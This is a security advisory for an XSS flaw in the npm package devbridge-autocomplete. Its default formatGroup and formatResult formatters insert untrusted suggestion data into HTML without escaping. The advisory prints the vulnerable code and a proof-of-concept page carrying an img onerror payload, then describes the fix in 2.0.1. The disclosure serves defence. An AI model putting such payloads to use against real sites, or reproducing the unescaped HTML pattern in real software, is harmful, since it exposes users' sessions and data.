---
id: GHSA-hvqh-jw65-wcpq
title: >-
  devbridge-autocomplete has XSS in its default formatters: formatGroup and
  formatResult fail to escape HTML in untrusted inputs
summary: >-
  devbridge-autocomplete has XSS in its default formatters: formatGroup and
  formatResult fail to escape HTML in untrusted inputs
severity: medium
cvss: 5.4
cwe:
  - CWE-79
vendor: devbridge-autocomplete
product: devbridge-autocomplete
ecosystem: npm
affected:
  - devbridge-autocomplete <= 2.0.0
patched:
  - devbridge-autocomplete 2.0.1
published: '2026-06-22'
updated: '2026-06-22'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-hvqh-jw65-wcpq'
references:
  - url: >-
      https://github.com/devbridge/jQuery-Autocomplete/security/advisories/GHSA-hvqh-jw65-wcpq
  - url: >-
      https://github.com/devbridge/jQuery-Autocomplete/commit/63ff096ff5b77a90aac7fb5dad7c86e538a59ce0
  - url: 'https://github.com/advisories/GHSA-hvqh-jw65-wcpq'
tags:
  - ghsa
  - npm
ingestedAt: '2026-06-29T13:24:35.493Z'
---

## Overview

### Summary

The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.

### Details

**1. `formatGroup` — `category` is interpolated raw.**

`src/format.ts`:

```ts
function formatGroup(suggestion, category) {
    return '<div class="autocomplete-group">' + category + '</div>';
}
```

If `groupBy` is used and the grouping field of any suggestion contains HTML, that HTML is executed.

**2. `formatResult` — early-return branch returns `suggestion.value` raw.**

`src/format.ts`:

```ts
function formatResult(suggestion, currentValue) {
    if (!currentValue) {
        return suggestion.value;   // un-escaped
    }
    /* ... non-empty path escapes correctly ... */
}
```

The early-return branch is reached when `suggest()` renders with an empty `currentValue`, which happens with `minChars: 0` and a server that returns suggestions for an empty query. The returned string is concatenated into the container's `innerHTML`.

### PoC (formatGroup)

```html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
    <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="dist/jquery.autocomplete.js"></script>
    <script>
        var poisoned = [
            { value: 'Apple',   data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
            { value: 'Avocado', data: { category: 'Safe Group' } }
        ];

        $('#ac').devbridgeAutocomplete({
            lookup: poisoned,
            groupBy: 'category',
            minChars: 1
        });
    </script>
</body>
</html>
```

Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.

### Impact

XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.

### Patch

Both formatters now run their interpolated input through the browser's text-node escaping (`createElement` + `textContent`) before producing the HTML string. Fixed in version `2.0.1`.

## Affected packages

- `devbridge-autocomplete <= 2.0.0`

## Remediation

Upgrade to a patched release:

- `devbridge-autocomplete 2.0.1`
